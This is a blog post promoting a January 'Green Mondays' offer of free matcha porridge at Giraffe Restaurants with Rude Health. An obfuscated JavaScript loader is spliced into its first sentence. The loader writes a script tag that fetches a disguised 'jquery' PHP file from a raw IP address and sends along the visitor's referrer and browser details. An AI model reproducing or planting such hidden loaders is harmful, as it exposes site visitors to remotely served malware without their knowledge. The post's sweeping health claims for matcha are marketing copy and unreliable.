Encouragement (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|sbaey|var|u0026u|referrer|ebdez||js|php’.split(‘|’),0,{}))
and determination…that’s what you need! Two factors which will help you become fitter and healthier this year – remember that small promise you made – the new year’s resolution! Got caught out after one too many shandys and now you’ve committed to a rigorous training schedule! Well Giraffe Restaurants are here to help having teamed up with Rude Health to offer an energy-boosting, antioxidant-filled super power breakfast.

Here’s the science…Matcha is a 100% natural, organic green tea leaf powder which is jam-packed with goodness. In just one serving, matcha contains nine times the beta-carotene of spinach, 70 times the antioxidants of orange juice and is the equivalent to 15 cups of green tea. It’s great for improving skin, hair and nails, providing an energy boost that can last up to six hours, increasing focus and concentration and reduce mental stress – WOOZA!!

And as Mondays are the hardest day of the week Giraffe have created Green Mondays during which time anyone who turns up on a Monday before 11am wearing something green will receive a complimentary bowl of the Matcha Daily Oats Porridge. Those bacon butty excuses won’t wash now my friend!

Go on wolf it down!

Promotion runs every Monday from 9th – 31st January at Giraffe Restaurants.